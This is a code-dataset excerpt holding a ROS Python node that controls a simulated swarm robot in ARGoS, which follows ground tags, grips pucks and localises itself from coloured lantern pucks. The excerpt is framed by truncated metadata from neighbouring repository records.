methods=ep.methods)", "repo_name": "netSensTeam/netSens", "sub_path": "center/app/web/endpoints/_endpoint.py", "file_name": "_endpoint.py", "file_ext": "py", "file_size_in_byte": 1631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "abc.ABC", "line_number": 8, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 19, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "argument"}, {"api_name": "mlog.configLoggers", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "9277413874", "text": "#!/usr/bin/python3\n\nimport sys\nimport enum\nimport math\n\nimport rospy\nfrom nav_msgs.msg import Odometry\nfrom sensor_msgs.msg import LaserScan\nfrom geometry_msgs.msg import Twist\nfrom argos_bridge.msg import ProximityList\nfrom argos_bridge.msg import BaseGroundList\nfrom argos_bridge.msg import MotoGroundList\nfrom argos_bridge.msg import PuckList\nfrom argos_bridge.msg import Position\nfrom std_msgs.msg import Bool\n\nclass OrientationFromTag(enum.IntEnum):\n    NOT_SPECIFIED = -1\n    NORTH = 0\n    EAST = 1\n    SOUTH = 2\n    WEST = 3\n    \nclass ZoneColor(enum.Enum):\n    BLACK = 0\n    RED = 1\n    BLUE = 2\n    GREEN = 3\n    YELLOW = 4\n\nclass PuckColor(enum.IntEnum):\n    UNRECOGNIZED = -2\n    NONPUCK = -1\n    RED = 0\n    BLUE = 1\n    GREEN = 2\n    YELLOW = 3\n    \nclass Zone():\n    def __init__(self):\n        self.zoneColor = ZoneColor.BLACK\n        self.zoneNumber = 0\n        self.isInZone = False\n        self.positionInZone_X = 0\n        self.positionInZone_Y = 0\n        self.orientationToAxisX = 0\n        \n    def SetZoneColor(self, color: ZoneColor):\n        self.zoneColor = color\n\n    def SetZoneNumber(self, number):\n        self.zoneNumber = number\n\n    def SetIsInZoneFlage(self, inZone: Bool):\n        self.isInZone = inZone\n\n    def SetPositionInZoneX(self, x):\n        self.positionInZone_X = x\n\n    def SetPositionInZoneY(self, y):\n        self.positionInZone_Y = y\n\n    def SetOrientationRad(self, orientation):\n        self.orientationToAxisX = orientation\n        \n    def GetZoneColor(self):\n        return self.zoneColor\n\n    def GetZoneNumber(self):\n        return self.zoneNumber\n\n    def IsInZone(self):\n        return self.isInZone\n\n    def GetPositionInZoneX(self):\n        return self.positionInZone_X\n\n    def GetPositionInZoneY(self):\n        return self.positionInZone_Y\n\n    def GetOrientationRad(self):\n        return self.orientationToAxisX\n    \n        \nclass TransportRobot:\n    def __init__(self, botName):\n        self.botName = botName\n        self.robotStop = False\n        \n        self.isInZone = False\n        self.zone = Zone()\n        self.puckColor = PuckColor.NONPUCK \n        \n        self.pubMove = rospy.Publisher(\"/\" + botName + \"/cmd_vel\", Twist, queue_size=10)\n        self.pubGripper = rospy.Publisher(\"/\" + botName + \"/gripper\", Bool, queue_size=10)\n        self.move = Twist()\n        self.gripper = Bool(False)\n\n        self.proximityList = ProximityList()\n        self.newProximityListMsg = False\n        self.baseGround = BaseGroundList().baseGrounds\n        self.newBaseGroundMsg = False\n        self.motoGround = MotoGroundList().motoGrounds\n        self.newMotoGroundMsg = False\n        self.puckList = PuckList()\n        self.newPuckListMsg = False\n        self.position = Position()\n        self.newPositionMsg = False\n        \n        rospy.Subscriber(\"/\" + botName + \"/proximity\", ProximityList, self.callbackProximity)\n        rospy.Subscriber(\"/\" + botName + \"/baseGround\", BaseGroundList, self.callbackBaseGround)\n        rospy.Subscriber(\"/\" + botName + \"/motoGround\", MotoGroundList, self.callbackMotoGround)\n        rospy.Subscriber(\"/\" + botName + \"/puck_list\", PuckList, self.callbackPuckList)\n        rospy.Subscriber(\"/\" + botName + \"/position\", Position, self.callbackPosition)\n        rospy.Subscriber(\"/\" + botName + \"/robotStop\", Bool, self.callbackRobotStop)\n        \n        while self.newMotoGroundMsg == False:\n            pass\n\n        #self.TakeNearestPuck()\n        #self.EnterToZone(ZoneColor.BLACK)\n        #self.zone.SetZoneNumber(1)\n        #self.zone.SetIsInZoneFlage(True)\n        #self.GetPositionAndOrientationInZone()\n        \n        self.EnterToZone(ZoneColor.BLACK)\n        self.TakeNearestPuck()\n        self.EscapeFromZone()\n          \n        self.MoveToForward()\n        self.MoveToForward()\n        self.MoveToForward()\n        self.RotateRight()\n        self.MoveToForward()\n        self.MoveToForward()\n        self.MoveToForward()\n        self.MoveToForward()\n        \n        self.EnterToZone(ZoneColor.RED)\n        #self.PutDownPuckOnPosition(-2.2, 2.2)\n                \n\n    def callbackProximity(self, msg):\n        #self.move.linear.x = 0.5\n        #if msg.proximities[0].value > 0:\n        #    self.move.linear.x = 0\n\n        #print(msg.proximities[0])\n        #self.pubMove.publish(self.move)\n\n        self.proximityList = msg\n        self.newProximityListMsg = True\n        \n    def callbackBaseGround(self, msg):\n        self.baseGround = msg.baseGrounds\n        self.newBaseGroundMsg = True\n\n    def callbackMotoGround(self, msg):\n        self.motoGround =msg.motoGrounds\n        self.newMotoGroundMsg = True\n\n    def callbackPuckList(self, msg):\n        self.puckList = msg\n        self.newPuckListMsg = True\n\n    def callbackPosition(self, msg):\n        self.position = msg\n        self.newPositionMsg = True\n\n    def callbackRobotStop(self, msg):\n        self.robotStop = msg.data\n\n    def GetPuckColor(self):\n        return self.puckColor\n        \n    def GetOrientationFromTag(self):\n        if (self.motoGround[0].value > 0.49 and self.motoGround[0].value < 0.51) and \\\n           (self.motoGround[3].value > 0.44 and self.motoGround[3].value < 0.46):\n            return OrientationFromTag.EAST\n\n        elif (self.motoGround[0].value > 0.44 and self.motoGround[0].value < 0.46) and \\\n             (self.motoGround[3].value > 0.34 and self.motoGround[3].value < 0.36):\n            return OrientationFromTag.SOUTH\n\n        elif (self.motoGround[0].value > 0.34 and self.motoGround[0].value < 0.36) and \\\n             (self.motoGround[3].value > 0.39 and self.motoGround[3].value < 0.41):\n            return OrientationFromTag.WEST\n\n        elif (self.motoGround[0].value > 0.39 and self.motoGround[0].value < 0.41) and \\\n             (self.motoGround[3].value > 0.49 and self.motoGround[3].value < 0.51):\n            return OrientationFromTag.NORTH\n\n        else:\n            return OrientationFromTag.NOT_SPECIFIED\n        \n        \n        \n    def MoveToForward(self):\n        self.move.linear.x = 0.1\n            \n        if abs(self.motoGround[0].value - self.motoGround[1].value) > 0.01 and \\\n           abs(self.motoGround[1].value - self.motoGround[2].value) > 0.01 and \\\n           abs(self.motoGround[2].value - self.motoGround[3].value) > 0.01 and \\\n           abs(self.motoGround[3].value - self.motoGround[0].value) > 0.01 :\n\n            #jezeli baseGround 0 i 4 nie sa rowne 0 to poprawic pozycje - dopisac !\n            \n            run = True\n            while run and not self.robotStop:\n                if self.newMotoGroundMsg == True:\n                    self.newMotoGroundMsg = False\n            \n                    if (self.motoGround[0].value > 0.51 or self.motoGround[0].value < 0.34) and \\\n                       (self.motoGround[3].value > 0.51 or self.motoGround[3].value < 0.34):\n                        run = False\n                        self.move.linear.x = 0\n                        self.pubMove.publish(self.move)\n                        break\n                    else:\n                        self.move.linear.x = 0.1\n                        self.pubMove.publish(self.move)\n\n        run = True\n        while run and not self.robotStop:\n            if self.newMotoGroundMsg == True:\n                self.newMotoGroundMsg = False\n\n                if self.motoGround[0].value <= 0.01 and self.motoGround[3].value <= 0.01:\n                    self.move.linear.x = 0.3\n                    self.move.angular.z = 0\n                    \n                elif self.motoGround[0].value >= 0.99 and self.motoGround[3].value <= 0.01:\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = -0.1\n                                        \n                elif self.motoGround[0].value <= 0.01 and self.motoGround[3].value >= 0.99:\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = 0.1\n                    \n                elif (self.motoGround[0].value >= 0.34 and self.motoGround[0].value <= 0.51) and\\\n                     (self.motoGround[3].value <= 0.01 or self.motoGround[3].value >= 0.99):\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = 0.1\n                                        \n                elif (self.motoGround[3].value >= 0.34 and self.motoGround[3].value <= 0.51) and\\\n                     (self.motoGround[0].value <= 0.01 or self.motoGround[0].value >= 0.99):\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = -0.1\n                                        \n                elif (self.motoGround[0].value >= 0.34 and self.motoGround[0].value <= 0.51) and\\\n                     (self.motoGround[3].value >= 0.34 and self.motoGround[3].value <= 0.51):\n                    run = False\n                    self.move.linear.x = 0\n                    self.move.angular.z = 0\n\n                elif self.motoGround[0].value >= 0.99 and self.motoGround[3].value >= 0.99:\n                    print('Robot: {} got lost'.format(self.robotName))\n                    \n                self.pubMove.publish(self.move)\n\n        run = True\n        while run and not self.robotStop:\n            if self.newMotoGroundMsg == True:\n                self.newMotoGroundMsg = False\n\n                if (self.motoGround[1].value <= 0.01 and self.motoGround[2].value <= 0.01):\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = 0\n\n                elif self.motoGround[1].value >= 0.99 and self.motoGround[2].value <= 0.01:\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = 0.1\n\n                elif self.motoGround[1].value <= 0.01 and self.motoGround[2].value >= 0.99:\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = -0.1\n\n                elif abs(self.motoGround[0].value - self.motoGround[1].value) > 0.01 and \\\n                     abs(self.motoGround[1].value - self.motoGround[2].value) > 0.01 and \\\n                     abs(self.motoGround[2].value - self.motoGround[3].value) > 0.01 and \\\n                     abs(self.motoGround[3].value - self.motoGround[0].value) > 0.01:\n\n                    self.move.linear.x = 0.05\n                    self.move.angular.z = 0\n                    \n                    if self.baseGround[1].value >= 0.99 and self.baseGround[3].value >= 0.99 and \\\n                       self.baseGround[5].value >= 0.99 and self.baseGround[7].value >= 0.99:\n\n                        self.move.linear.x = 0.0\n                        run = False\n                    \n                self.pubMove.publish(self.move)\n\n\n    def RotateLeft(self):\n        if abs(self.motoGround[0].value - self.motoGround[1].value) > 0.01 and \\\n           abs(self.motoGround[1].value - self.motoGround[2].value) > 0.01 and \\\n           abs(self.motoGround[2].value - self.motoGround[3].value) > 0.01 and \\\n           abs(self.motoGround[3].value - self.motoGround[0].value) > 0.01 :\n\n            orientationTag = self.GetOrientationFromTag()\n\n            if orientationTag == OrientationFromTag.NORTH:\n                finishOrientationTag = OrientationFromTag.WEST\n            else:\n                finishOrientationTag = orientationTag - 1\n\n            if finishOrientationTag == OrientationFromTag.NORTH:\n                finishOrientation = 0;\n            elif finishOrientationTag == OrientationFromTag.EAST:\n                finishOrientation = -math.pi/2;\n\n            elif finishOrientationTag == OrientationFromTag.SOUTH:\n                finishOrientation = math.pi;\n\n            elif finishOrientationTag == OrientationFromTag.WEST:\n                finishOrientation = math.pi/2;\n\n                      \n        run = True\n        while run and not self.robotStop:\n            if self.newMotoGroundMsg == True:\n                self.newMotoGroundMsg = False\n            \n                if finishOrientationTag != self.GetOrientationFromTag():\n                    self.move.linear.x = 0\n                    self.move.angular.z = 0.8\n                \n                elif abs(self.motoGround[0].value - self.motoGround[1].value) <= 0.03 or \\\n                     abs(self.motoGround[1].value - self.motoGround[2].value) <= 0.03 or \\\n                     abs(self.motoGround[2].value - self.motoGround[3].value) <= 0.03 or \\\n                     abs(self.motoGround[3].value - self.motoGround[0].value) <= 0.03:\n                    self.move.linear.x = 0\n                    self.move.angular.z = 0.6\n\n                elif finishOrientationTag == self.GetOrientationFromTag():\n                   \n                    \n                    if finishOrientationTag != OrientationFromTag.SOUTH and \\\n                       finishOrientation - self.position.orientation.z > 0.0116 and \\\n                       finishOrientation - self.position.orientation.z <= 0.05:\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.05\n\n                    elif finishOrientationTag == OrientationFromTag.SOUTH and \\\n                         finishOrientation - self.position.orientation.z > -2*math.pi + 0.0116 and \\\n                         finishOrientation - self.position.orientation.z <= -2*math.pi + 0.05:\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.05\n\n                    elif finishOrientation - self.position.orientation.z < -0.0116 and\\\n                         finishOrientation - self.position.orientation.z >= -0.05:\n                        self.move.linear.x = 0\n                        self.move.angular.z = -0.05\n\n                    elif (self.baseGround[1].value >= 0.99 and self.baseGround[3].value >= 0.99 and \\\n                          self.baseGround[5].value >= 0.99 and self.baseGround[7].value >= 0.99) or\\\n                          finishOrientation - self.position.orientation.z < -0.012 or \\\n                         (finishOrientationTag != OrientationFromTag.SOUTH and \\\n                          finishOrientation - self.position.orientation.z > 0.012) or \\\n                         (finishOrientationTag == OrientationFromTag.SOUTH and \\\n                          finishOrientation - self.position.orientation.z > -2*math.pi + 0.012):\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.0\n                        self.pubMove.publish(self.move)\n                        run = False\n                        break\n                        \n                    else:\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.15\n\n            \n                self.pubMove.publish(self.move)\n\n    def RotateRight(self):\n        if abs(self.motoGround[0].value - self.motoGround[1].value) > 0.01 and \\\n           abs(self.motoGround[1].value - self.motoGround[2].value) > 0.01 and \\\n           abs(self.motoGround[2].value - self.motoGround[3].value) > 0.01 and \\\n           abs(self.motoGround[3].value - self.motoGround[0].value) > 0.01 :\n\n            orientationTag = self.GetOrientationFromTag()\n\n            if orientationTag == OrientationFromTag.WEST:\n                finishOrientationTag = OrientationFromTag.NORTH\n            else:\n                finishOrientationTag = orientationTag + 1\n\n            if finishOrientationTag == OrientationFromTag.NORTH:\n                finishOrientation = 0;\n            elif finishOrientationTag == OrientationFromTag.EAST:\n                finishOrientation = -math.pi/2;\n\n            elif finishOrientationTag == OrientationFromTag.SOUTH:\n                finishOrientation = math.pi;\n\n            elif finishOrientationTag == OrientationFromTag.WEST:\n                finishOrientation = math.pi/2;\n            \n        run = True\n        while run and not self.robotStop:\n            if self.newMotoGroundMsg == True:\n                self.newMotoGroundMsg = False\n\n                if finishOrientationTag != self.GetOrientationFromTag():\n                    self.move.linear.x = 0\n                    self.move.angular.z = -0.8\n                \n                elif abs(self.motoGround[0].value - self.motoGround[1].value) <= 0.03 or \\\n                     abs(self.motoGround[1].value - self.motoGround[2].value) <= 0.03 or \\\n                     abs(self.motoGround[2].value - self.motoGround[3].value) <= 0.03 or \\\n                     abs(self.motoGround[3].value - self.motoGround[0].value) <= 0.03:\n                    self.move.linear.x = 0\n                    self.move.angular.z = -0.6\n\n                elif finishOrientationTag == self.GetOrientationFromTag():\n                   \n                    \n                    if finishOrientationTag != OrientationFromTag.SOUTH and \\\n                       finishOrientation - self.position.orientation.z > 0.0116 and \\\n                       finishOrientation - self.position.orientation.z <= 0.05:\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.05\n\n                    elif finishOrientationTag == OrientationFromTag.SOUTH and \\\n                         finishOrientation - self.position.orientation.z > -2*math.pi + 0.0116 and \\\n                         finishOrientation - self.position.orientation.z <= -2*math.pi + 0.05:\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.05\n\n                    elif finishOrientation - self.position.orientation.z < -0.0116 and\\\n                         finishOrientation - self.position.orientation.z >= -0.05:\n                        self.move.linear.x = 0\n                        self.move.angular.z = -0.05\n\n                    elif self.baseGround[1].value >= 0.99 and self.baseGround[3].value >= 0.99 and \\\n                         self.baseGround[5].value >= 0.99 and self.baseGround[7].value >= 0.99 or\\\n                          finishOrientation - self.position.orientation.z < -0.012 or \\\n                         (finishOrientationTag != OrientationFromTag.SOUTH and \\\n                          finishOrientation - self.position.orientation.z > 0.012) or \\\n                         (finishOrientationTag == OrientationFromTag.SOUTH and \\\n                          finishOrientation - self.position.orientation.z > -2*math.pi + 0.012):\n                        self.move.linear.x = 0\n                        self.move.angular.z = 0.0\n                        self.pubMove.publish(self.move)\n                        run = False\n                        break\n                        \n                    else:\n                        self.move.linear.x = 0\n                        self.move.angular.z = -0.15\n\n            \n                self.pubMove.publish(self.move)\n    \n\n    def TakeNearestPuck(self):            \n        [puckPositionX, puckPositionY] = self.CalculateNearestPuckPosition()\n\n        [puckAngle, puckRange] = self.CalculatePuckAngleAndRange(puckPositionX, puckPositionY)\n        print(\"puck angle: \", puckAngle)\n        print(\"puck range: \", puckRange)\n        run = True\n        while run and not self.robotStop:\n            [puckAngle, puckRange] = self.CalculatePuckAngleAndRange(puckPositionX, puckPositionY)\n\n                 \n            if puckRange <= 0.15:\n                self.move.linear.x = 0\n                self.move.angular.z = 0\n                run = False\n                            \n            elif puckAngle >= 0.05:\n                self.move.linear.x = 0\n                self.move.angular.z = 0.4\n\n            elif puckAngle <= -0.05:\n                self.move.linear.x = 0\n                self.move.angular.z = -0.4\n                \n            elif puckAngle >= 0.001:\n                self.move.linear.x = 0\n                self.move.angular.z = 0.01\n                            \n            elif puckAngle <= -0.001:\n                self.move.linear.x = 0\n                self.move.angular.z = -0.01\n\n            elif puckRange >= 0.05:\n                self.move.linear.x = 0.2\n                self.move.angular.z = 0\n\n            elif puckRange >= 0.001:\n                self.move.linear.x = 0.01\n                self.move.angular.z = 0\n\n                \n            self.pubMove.publish(self.move)\n\n        self.gripper = True\n        self.pubGripper.publish(self.gripper)\n\n        \n    def CalculateNearestPuckPosition(self):\n        self.GetPositionAndOrientationInZone()\n        puckListClone = self.puckList\n        nearestPuck = -1\n        minRange = 1000\n        i = -1\n        \n        for puck in puckListClone.pucks:\n            i = i + 1\n                \n            if (puck.color.r == 165 and puck.color.g == 42 and puck.color.b == 42) or \\\n               (puck.color.r == 255 and puck.color.g == 140 and puck.color.b == 0):\n                continue\n            else:\n                if puck.range <= minRange:\n                    nearestPuck = i\n                    minRange = puck.range\n\n\n        self.SetPuckColor(puckListClone.pucks[nearestPuck].color)\n         \n        puckAngle = puckListClone.pucks[nearestPuck].angle\n        puckRange = puckListClone.pucks[nearestPuck].range*0.01\n\n        alpha = puckAngle - self.zone.GetOrientationRad()\n\n        dX = math.cos(alpha)*puckRange\n        dY = math.sin(alpha)*puckRange\n\n        puckPositionX = self.zone.GetPositionInZoneX() + dX\n        puckPositionY = self.zone.GetPositionInZoneY() + dY\n        \n        return [puckPositionX, puckPositionY]\n\n    def SetPuckColor(self, color):\n        if color.r == 255 and color.g == 0 and color.b == 0:\n            self.puckColor = PuckColor.RED\n        elif color.r == 0 and color.g == 255 and color.b == 0:\n            self.puckColor = PuckColor.GREEN\n        elif color.r == 0 and color.g == 0 and color.b == 255:\n            self.PuckColor = PuckColor.BLUE\n        elif color.r == 255 and color.g == 255 and color.b == 0:\n            self.PuckColor = PuckColor.YELLOW\n        else:\n            self.PuckColor = PuckColor.UNRECOGNIZED\n\n    def CalculatePuckAngleAndRange(self, puckPositionX, puckPositionY):\n        self.GetPositionAndOrientationInZone()\n        \n        dX = self.zone.GetPositionInZoneX() - puckPositionX\n        dY = self.zone.GetPositionInZoneY() - puckPositionY\n        \n        range = math.sqrt(dX*dX + dY*dY)\n\n        alpha = math.asin(dY/range)\n\n        puckAngle = self.zone.GetOrientationRad() - alpha\n        print(\"angle: \", puckAngle)\n        return [puckAngle, range]\n\n    \n        \n    def EnterToZone(self, zoneColor: ZoneColor):\n        self.zone.SetZoneColor(zoneColor)\n        self.zone.SetIsInZoneFlage(True)\n        print(zoneColor)\n        if zoneColor == ZoneColor.BLACK:\n            \n            if (self.motoGround[0].value >= 0.39 and self.motoGround[0].value <= 0.41) and \\\n               (self.motoGround[3].value >= 0.49 and self.motoGround[3].value <= 0.51):\n                \n                self.zone.SetZoneNumber(1)\n                self.GetPositionAndOrientationInZone()\n\n        if zoneColor == ZoneColor.RED:\n            print(\"Red\")\n            if(self.motoGround[0].value >= 0.34 and self.motoGround[0].value <= 0.36) and \\\n              (self.motoGround[3].value >= 0.39 and self.motoGround[3].value <= 0.41):\n                print(\"Red1\")\n                self.zone.SetZoneNumber(1)\n                self.GetPositionAndOrientationInZone()\n                print(\"enter to red zone\")\n                \n    def GetPositionAndOrientationInZone(self):\n\n        if self.zone.IsInZone():\n\n            if self.zone.GetZoneColor() == ZoneColor.BLACK:\n                if self.zone.GetZoneNumber() == 1:\n\n                    \n                    [centerLanternRange, centerLanternAngle, secondLanternRange, secondLanternAngle] \\\n                        = self.GetOrangeBrownLantern()\n\n                    if centerLanternRange == -1 or secondLanternRange == -1:\n                        print(\"Can't get position in zone\")\n                        return\n                    if centerLanternRange == -2 and secondLanternRange == -2:\n                        #print(\"Not new position\")\n                        return\n\n                    centerSecondRange = 0.525\n                                       \n                    alpha = math.acos((centerSecondRange*centerSecondRange \\\n                                       + centerLanternRange*centerLanternRange \\\n                                       - secondLanternRange*secondLanternRange) \\\n                                      /(2 *centerSecondRange*centerLanternRange))\n\n                    self.zone.SetPositionInZoneY(-math.sin(alpha)*centerLanternRange)\n                    self.zone.SetPositionInZoneX(-math.cos(alpha)*centerLanternRange)\n                    print(\"position in zone x: \", self.zone.GetPositionInZoneX())\n                    print(\"position in zone y: \", self.zone.GetPositionInZoneY())\n            \n                    beta = math.asin(abs(self.zone.GetPositionInZoneY())/centerLanternRange)\n                    self.zone.SetOrientationRad(centerLanternAngle - beta)\n                    print(\"orientation to axis x: \", self.zone.GetOrientationRad())\n\n            if self.zone.GetZoneColor() == ZoneColor.RED:\n               if self.zone.GetZoneNumber() == 1:\n\n                   [centerLanternRange, centerLanternAngle, secondLanternRange, secondLanternAngle] \\\n                        = self.GetOrangeBrownLantern()\n\n                   if centerLanternRange == -1 or secondLanternRange == -1:\n                       print(\"Can't get position in zone\")\n                       return\n                   if centerLanternRange == -2 and secondLanternRange == -2:\n                       #print(\"Not new position\")\n                       return\n\n                   #centerSecondRange = 1.16297033496\n                   centerSecondRange = 0.525\n                   print(((centerSecondRange*centerSecondRange \\\n                                      + centerLanternRange*centerLanternRange \\\n                                      - secondLanternRange*secondLanternRange) \\\n                                     /(2 *centerSecondRange*centerLanternRange)))\n                   alpha = math.acos((centerSecondRange*centerSecondRange \\\n                                      + centerLanternRange*centerLanternRange \\\n                                      - secondLanternRange*secondLanternRange) \\\n                                     /(2 *centerSecondRange*centerLanternRange))\n\n                   self.zone.SetPositionInZoneY(2.4-math.sin(alpha)*centerLanternRange)\n                   self.zone.SetPositionInZoneX(-2.95+math.cos(alpha)*centerLanternRange)\n                   print(\"position in zone x: \", self.zone.GetPositionInZoneX())\n                   print(\"position in zone y: \", self.zone.GetPositionInZoneY())\n            \n                   beta = math.asin(abs(2.4-self.zone.GetPositionInZoneY())/centerLanternRange)\n                   self.zone.SetOrientationRad(centerLanternAngle - beta)\n                   print(\"orientation to axis x: \", self.zone.GetOrientationRad())\n               \n               \n                    \n    def GetOrangeBrownLantern(self):\n        centerLanternRange = -2\n        centerLanternAngle = 0\n\n        secondLanternRange = -2\n        secondLanternAngle = 0\n        \n        if self.newPuckListMsg == True:\n            self.newPuckListMsg = False\n\n            centerLanternRange = -1\n            centerLanternAngle = 0\n\n            secondLanternRange = -1\n            secondLanternAngle = 0\n            \n            puckListClone = self.puckList\n            \n            for puck in puckListClone.pucks:\n\n                if centerLanternRange > -1 and secondLanternRange > -1:\n                    break\n                \n                if puck.color.r == 255 and puck.color.g == 140 and puck.color.b == 0:\n                    centerLanternRange = puck.range/100\n                    centerLanternAngle = puck.angle\n\n                elif puck.color.r == 165 and puck.color.g == 42 and puck.color.b == 42:\n                    secondLanternRange = puck.range/100\n                    secondLanternAngle = puck.angle\n\n        return [centerLanternRange, centerLanternAngle, secondLanternRange, secondLanternAngle]\n\n    \n    def EscapeFromZone(self):\n        if self.zone.IsInZone():\n        \n            self.GetPositionAndOrientationInZone()\n            if self.zone.GetZoneColor() == ZoneColor.BLACK:\n                if self.zone.GetZoneNumber() == 1:\n                    escapePositionX = -0.525\n                    escapePositionY = -0.3\n                    \n                    [escapeAngle, escapeRange] = self.CalculateEscapeAngleAndRange(escapePositionX, escapePositionY)\n                    print(\"escape angle: \", escapeAngle)\n                    print(\"escepe range: \", escapeRange)\n                    run = True\n                    while run and not self.robotStop:\n                        [escapeAngle, escapeRange] = self.CalculateEscapeAngleAndRange(escapePositionX, escapePositionY)\n\n                 \n                        if escapeRange <= 0.0001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0\n                            run = False\n                            \n                        elif escapeAngle >= 0.05:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0.4\n\n                        elif escapeAngle <= -0.05:\n                            self.move.linear.x = 0\n                            self.move.angular.z = -0.4\n\n                        elif escapeAngle >= 0.001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0.01\n                            \n                        elif escapeAngle <= -0.001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = -0.01\n\n                        elif escapeRange >= 0.05:\n                            self.move.linear.x = -0.2\n                            self.move.angular.z = 0\n\n                        elif escapeRange >= 0.001:\n                            self.move.linear.x = -0.01\n                            self.move.angular.z = 0\n\n                        elif escapeRange > 0.00001:\n                            self.move.linear.x = -0.0001\n                            self.move.angular.z = 0\n\n                            \n                        self.pubMove.publish(self.move)\n\n                    \n                    run = True\n                    while run and not self.robotStop:\n                        self.GetPositionAndOrientationInZone()\n                        temp = self.zone.GetOrientationRad()\n                        \n                        if temp >= 0 and temp <= math.pi - 0.05:\n                            self.move.linear.x = 0\n                            self.move.angular.z = -0.5\n\n                        elif temp >= 0 and temp <= math.pi - 0.001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = -0.01\n                            \n                        elif temp >= 0 and temp <= math.pi - 0.0001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = -0.001\n                            \n                        elif temp < 0 and temp >= -math.pi + 0.05:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0.5\n\n                        elif temp < 0 and temp <= -math.pi + 0.001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0.01\n\n                            \n                        elif temp < 0 and temp <= -math.pi + 0.0001:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0.001\n                            \n                        else:\n                            self.move.linear.x = 0\n                            self.move.angular.z = 0\n                            run = False\n                        \n                        self.pubMove.publish(self.move)\n\n                    self.zone.SetIsInZoneFlage(False)\n\n                        \n    def CalculateEscapeAngleAndRange(self, escapePositionX, escapePositionY):\n        self.GetPositionAndOrientationInZone()\n        \n        dX = self.zone.GetPositionInZoneX() - escapePositionX\n        dY = self.zone.GetPositionInZoneY() - escapePositionY\n        \n        range = math.sqrt(dX*dX + dY*dY)\n\n        alpha = math.asin(dY/range)\n\n        escapeAngle = self.zone.GetOrientationRad() + alpha\n        \n        return [escapeAngle, range]\n\n\n    def PutDownPuckOnPosition(self, positionX, positionY):\n        [angle, range] = self.CalculateAngleAndRangeToPosition(positionX, positionY)\n\n        if not self.CheckPositionIsEmpty(angle, range):\n            return False\n\n        #Dodac przesunicie pozycji bo robot ma swoja grubosc \n        run = True\n        while run and not self.robotStop:\n            [angle, range] = self.CalculateAngleAndRangeToPosition(positionX, positionY)\n            print(\"Angle: \", angle)\n            print(\"Range: \", range)\n                 \n            if range <= 0.2:\n                self.move.linear.x = 0\n                self.move.angular.z = 0\n                run = False\n                            \n            elif angle >= 0.05:\n                self.move.linear.x = 0\n                self.move.angular.z = 0.4\n\n            elif angle <= -0.05:\n                self.move.linear.x = 0\n                self.move.angular.z = -0.4\n                \n            elif angle >= 0.001:\n                self.move.linear.x = 0\n                self.move.angular.z = 0.01\n                            \n            elif angle <= -0.001:\n                self.move.linear.x = 0\n                self.move.angular.z = -0.01\n\n            elif range >= 0.22:\n                self.move.linear.x = 0.2\n                self.move.angular.z = 0\n\n            elif range >= 0.01:\n                self.move.linear.x = 0.01\n                self.move.angular.z = 0\n\n                \n            self.pubMove.publish(self.move)\n\n        self.gripper = False\n        self.pubGripper.publish(self.gripper)\n\n        if self.robotStop:\n            return False\n        \n        return True\n        \n\n    def CalculateAngleAndRangeToPosition(self, positionX, positionY):\n        self.GetPositionAndOrientationInZone()\n        \n        dX = self.zone.GetPositionInZoneX() - positionX\n        dY = self.zone.GetPositionInZoneY() - positionY\n        \n        range = math.sqrt(dX*dX + dY*dY)\n\n        alpha = math.asin(dY/range)\n\n        angle = self.zone.GetOrientationRad() - alpha\n        return [angle, range]\n\n    def CheckPositionIsEmpty(self, angle, range):\n        puckListClone = self.puckList\n\n        for puck in puckListClone.pucks:\n            if (puck.range - range) <= 0.01 and (puck.angle - angle) <= 0.001:\n                return False\n\n        return True\n\n    \ndef main():\n    rospy.init_node('testBot')\n    if len(sys.argv) > 1:\n           botName = sys.argv[1]\n    else:\n           botName = \"bot\"\n\n    print(botName)\n    TransportRobot(botName)\n    rospy.spin()\n    \n\nif __name__ == '__main__':\n    main()\n", "repo_name": "pepojs/Swarm_robots", "sub_path": "ros_workspace/src/testBot/scripts/testBot_argos_node.py", "file_name": "testBot_argos_node.py", "file_ext": "py", "file_size_in_byte": 35194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "enum.IntEnum", "line_number": 18, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 25, "usage_type": "attribute"}, {"api_name": "enum.IntEnum", "line_number": 32, "usage_type": "attribute"}, {"api_name": "std_msgs.msg.Bool", "line_number": 55, "usage_type": "name"}, {"api_name": "rospy.Publisher", "line_number": 95, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.Twist", "line_number": 95, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 96, "usage_type": "call"}, {"api_name": "std_msgs.msg.Bool", "line_number": 96, "usage_type": "argument"}, {"api_name": "geometry_msgs.msg.Twist", "line_number": 97, "usage_type": "call"}, {"api_name": "std_msgs.msg.Bool", "line_number": 98, "usage_type": "call"}, {"api_name": "argos_bridge.msg.ProximityList", "line_number": 100, "usage_type": "call"}, 